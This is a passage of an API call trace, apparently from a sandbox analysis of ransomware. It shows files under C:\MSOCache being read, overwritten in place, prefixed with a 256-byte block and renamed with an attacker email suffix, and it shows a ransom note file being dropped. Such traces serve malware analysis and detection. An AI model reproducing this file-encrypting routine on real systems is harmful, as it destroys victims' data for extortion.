[0053.864] GetProcessHeap () returned 0x2e0000
[0053.864] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0053.864] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1
[0053.864] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 93
[0053.864] StrStrIW (lpFirst="AccessMUI.xml", lpSrch="SDfghjkl") returned 0x0
[0053.864] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0053.865] GetProcessHeap () returned 0x2e0000
[0053.865] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x358790
[0053.865] ReadFile (in: hFile=0x110, lpBuffer=0x358790, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesRead=0xecee80*=0x545, lpOverlapped=0x0) returned 1
[0053.867] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xfffffabb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0053.867] WriteFile (in: hFile=0x110, lpBuffer=0x358790*, nNumberOfBytesToWrite=0x545, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesWritten=0xecee80*=0x545, lpOverlapped=0x0) returned 1
[0053.867] GetProcessHeap () returned 0x2e0000
[0053.867] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0053.867] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0053.867] WriteFile (in: hFile=0x110, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecee80*=0x100, lpOverlapped=0x0) returned 1
[0053.867] CloseHandle (hObject=0x110) returned 1
[0053.867] GetProcessHeap () returned 0x2e0000
[0053.867] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x358790
[0053.867] wnsprintfW (in: pszDest=0x358790, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 135
[0053.867] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0053.868] GetProcessHeap () returned 0x2e0000
[0053.868] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0053.868] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1
[0053.868] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 89
[0053.868] StrStrIW (lpFirst="AccLR.cab", lpSrch="SDfghjkl") returned 0x0
[0053.868] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0053.869] GetProcessHeap () returned 0x2e0000
[0053.869] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x358790
[0053.869] ReadFile (in: hFile=0x110, lpBuffer=0x358790, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesRead=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0053.871] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0053.871] WriteFile (in: hFile=0x110, lpBuffer=0x358790*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesWritten=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0053.872] GetProcessHeap () returned 0x2e0000
[0053.872] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0053.872] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0053.872] WriteFile (in: hFile=0x110, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecee80*=0x100, lpOverlapped=0x0) returned 1
[0053.877] CloseHandle (hObject=0x110) returned 1
[0053.877] GetProcessHeap () returned 0x2e0000
[0053.877] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x358790
[0053.877] wnsprintfW (in: pszDest=0x358790, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 131
[0053.877] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0053.878] GetProcessHeap () returned 0x2e0000
[0053.878] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0053.878] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1
[0053.878] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 92
[0053.878] StrStrIW (lpFirst="branding.xml", lpSrch="SDfghjkl") returned 0x0
[0053.878] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0053.879] GetProcessHeap () returned 0x2e0000
[0053.879] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x358790
[0053.879] ReadFile (in: hFile=0x110, lpBuffer=0x358790, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesRead=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0053.881] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0053.881] WriteFile (in: hFile=0x110, lpBuffer=0x358790*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesWritten=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0053.881] GetProcessHeap () returned 0x2e0000
[0053.881] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0053.881] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0053.881] WriteFile (in: hFile=0x110, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecee80*=0x100, lpOverlapped=0x0) returned 1
[0053.883] CloseHandle (hObject=0x110) returned 1
[0053.883] GetProcessHeap () returned 0x2e0000
[0053.883] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x358790
[0053.883] wnsprintfW (in: pszDest=0x358790, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 134
[0053.883] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0053.884] GetProcessHeap () returned 0x2e0000
[0053.884] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0053.884] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0
[0053.884] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\Instructions with your files.txt") returned 112
[0053.884] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0053.884] WriteFile (in: hFile=0x110, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecee84*=0x54, lpOverlapped=0x0) returned 1
[0053.885] WriteFile (in: hFile=0x110, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecee84*=0x18, lpOverlapped=0x0) returned 1
[0053.885] WriteFile (in: hFile=0x110, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecee84*=0xc, lpOverlapped=0x0) returned 1
[0053.885] WriteFile (in: hFile=0x110, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecee84*=0x16, lpOverlapped=0x0) returned 1
[0053.886] WriteFile (in: hFile=0x110, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecee84*=0x23, lpOverlapped=0x0) returned 1
[0053.886] CloseHandle (hObject=0x110) returned 1
[0053.886] FindClose (in: hFindFile=0x300570 | out: hFindFile=0x300570) returned 1
[0053.886] GetProcessHeap () returned 0x2e0000
[0053.886] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.886] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1
[0053.886] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 83
[0053.886] StrStrIW (lpFirst="AccessMUISet.msi", lpSrch="SDfghjkl") returned 0x0
[0053.886] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0053.886] GetProcessHeap () returned 0x2e0000
[0053.886] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0053.886] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0053.888] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0053.888] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0053.889] GetProcessHeap () returned 0x2e0000
[0053.889] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.889] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0053.889] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0053.890] CloseHandle (hObject=0x10c) returned 1
[0053.891] GetProcessHeap () returned 0x2e0000
[0053.891] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0053.891] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 125
[0053.891] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0053.891] GetProcessHeap () returned 0x2e0000
[0053.891] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.891] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1
[0053.891] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 83
[0053.891] StrStrIW (lpFirst="AccessMUISet.xml", lpSrch="SDfghjkl") returned 0x0
[0053.891] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0053.892] GetProcessHeap () returned 0x2e0000
[0053.892] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0053.892] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x333, lpOverlapped=0x0) returned 1
[0053.909] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffffccd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0053.909] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x333, lpOverlapped=0x0) returned 1
[0053.909] GetProcessHeap () returned 0x2e0000
[0053.909] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.909] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0053.909] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0053.909] CloseHandle (hObject=0x10c) returned 1
[0053.909] GetProcessHeap () returned 0x2e0000
[0053.909] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0053.909] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 125
[0053.909] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0053.912] GetProcessHeap () returned 0x2e0000
[0053.912] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.912] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0053.912] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0053.912] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0053.913] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0053.913] GetProcessHeap () returned 0x2e0000
[0053.913] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0053.913] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0xa40, lpOverlapped=0x0) returned 1
[0053.915] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff5c0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0053.915] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0xa40, lpOverlapped=0x0) returned 1
[0053.915] GetProcessHeap () returned 0x2e0000
[0053.915] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0053.915] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0053.915] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0053.915] CloseHandle (hObject=0x10c) returned 1
[0053.916] GetProcessHeap () returned 0x2e0000
[0053.916] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0053.916] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0053.916] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0053.916] GetProcessHeap () returned 0x2e0000
[0053.916] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
